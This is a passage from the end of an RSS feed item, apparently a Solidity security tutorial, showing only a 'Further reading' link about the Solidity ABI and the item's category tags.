  Further reading 📚
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.alchemy.com/overviews/solidity-abi"&gt;What is the Solidity ABI (Application Binary Interface)?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>security</category>
      <category>ethereum</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
